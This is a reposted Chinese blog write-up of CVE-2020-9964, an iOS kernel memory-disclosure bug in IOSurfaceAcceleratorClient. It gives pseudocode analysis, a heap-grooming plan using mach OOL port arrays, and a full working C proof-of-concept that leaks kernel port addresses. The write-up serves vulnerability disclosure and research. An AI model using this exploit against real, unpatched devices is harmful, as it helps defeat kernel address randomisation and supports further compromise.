CVE-2020-9964-iOS信息泄漏 - Kirin博客

CVE-2020-9964-iOS信息泄漏

作者: Bee

全网最全的网络资源分享网站

标签:

iOS

特别声明:部分文章为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系站长!请勿违法!本站文章仅供学习了解!技术无罪!


iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:)

我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。

Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么?

IOSurfaceAcceleratorClient :: user_get_histogram

IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法

(方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧版
IOUserClient :: getTargetAndMethodForIndex

作为其外部方法,这就是方法9的IOExternalMethod描述符的样子:

{ IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0}
从中我们可以看到user_get_histogram仅占用8个字节的输入数据,并且不返回任何内容作为输出数据,因此让我们看一下实现。这是我注释的伪代码:
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize){ IOReturn result; if (this->calledFromKernel) { ... } else { IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task); if ( memDesc ) { ret = memDesc->prepare(kIODirectionNone); if (ret) { ... } else { ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc); memDesc->complete(kIODirectionNone); } memDesc->release(); } else { ret = kIOReturnNoMemory; } } return ret;}
从中我们可以看到,结构输入的8个字节旨在用作用户空间指针,
AppleM2ScalerCSCDriver :: get_histogram`
可对其进行读写。实际上,get_histogram调用到get_histogram_gated,如下所示:
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc){ IOReturn result; if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize ) result = kIOReturnSuccess; else result = kIOReturnIOError; return result;}
我们看到client-> histogramBuffer被写回到用户空间,所以现在的问题是,client-> histogramBuffer是什么?它在哪里初始化,在哪里填充?

IOSurfaceAcceleratorClient::histogramBuffer

这个问题的答案最终是

IOSurfaceAcceleratorClient :: initClient,

它看起来像这样:

bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal){ ... if ( ... ) { ... if ( ... ) { size_t bufferSize = ...; this->histogramSize = bufferSize; this->histogramBuffer = (void *)IOMalloc(bufferSize); IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0); this->scheduler = scheduler; if ( scheduler ) return true; ... } else { ... } } else { ... } this->stopClient(); return false;}

这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。

“开发”

我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。

我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。

内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。

高级漏洞利用流程

因此,我的漏洞利用计划如下所示:

  1. 发送一些消息,其OOL端口数组的大小与client-> histogramSize相同

  2. 通过接收消息释放这些阵列

  3. 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠

  4. 调用外部方法9,将端口指针读回到用户空间

  5. 利润

在我的设备上,client-> histogramSize为0x300,这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息,但这是我凭空提出的一个完全任意的数字,不要过多看它。

漏洞利用

最终的利用如下:

#include <stdlib.h>#include <assert.h>#include <stdio.h>#include <mach/mach.h>#include <IOKit/IOKitLib.h>#if 0AppleM2ScalerCSCDriver Infoleak:IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.This vulnerability is reachable from within the app sandbox on iOS.Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.Other kernel object addresses can be obtained using this vulnerability in similar ways.#endif #define ASSERT_KR(kr) do { \ if (kr != KERN_SUCCESS) { \ fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ exit(EXIT_FAILURE); \ } \} while(0) #define LEAK_SIZE 0x300#define SPRAY_COUNT 0x80 mach_port_t create_port(void){ mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p;} io_connect_t open_client(const char* serviceName, uint32_t type){ io_connect_t client = MACH_PORT_NULL; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); assert(service != MACH_PORT_NULL); IOServiceOpen(service, mach_task_self(), type, &client); assert(client != MACH_PORT_NULL); IOObjectRelease(service); return client;} void push_to_freelist(mach_port_t port){  uint32_t portCount = LEAK_SIZE / sizeof(void*);  struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; } msg = {{0}}; mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); for (uint32_t i = 0; i < portCount; i++) ports[i] = port;  size_t msgSize = sizeof(msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize; msg.header.msgh_id = 'OOLP'; msg.body.msgh_descriptor_count = 1;  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = portCount; msg.ool_ports.deallocate = false; msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;  mach_port_t rcvPorts[SPRAY_COUNT];  for (uint32_t i = 0; i < SPRAY_COUNT; i++) { mach_port_t rcvPort = create_port(); rcvPorts[i] = rcvPort;    msg.header.msgh_remote_port = rcvPort; //trigger kernel allocation of port array: kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR(kr);  } for (uint32_t i = 1; i < SPRAY_COUNT; i++) mach_port_destroy(mach_task_self(), rcvPorts[i]); free((void*)ports);}//The actual vulnerability:void leak_bytes(void* buffer){ io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); ASSERT_KR(kr); IOServiceClose(client);}uint64_t find_port_addr(mach_port_t port){  uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); printf("Preparing heap\n");  push_to_freelist(port); printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);  leak_bytes(leak); uint64_t addr = leak[1]; free(leak); return addr;}int main(int argc, char* argv[], char* envp[]){ mach_port_t port = create_port(); uint64_t port_addr = find_port_addr(port); printf("Leaked port address: %p\n", (void*)port_addr); return 0;}

我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。

注:

我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。

本文最后更新于2020-12-23,已超过 1 年没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!
分享到:
加入交流群
未经允许不得转载:

作者: Bee, 转载或复制请以 超链接形式 并注明出处 Kirin博客
原文地址: 《CVE-2020-9964-iOS信息泄漏》 发布于2020-12-23

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

觉得文章有用就加入交流群吧

QQ扫一扫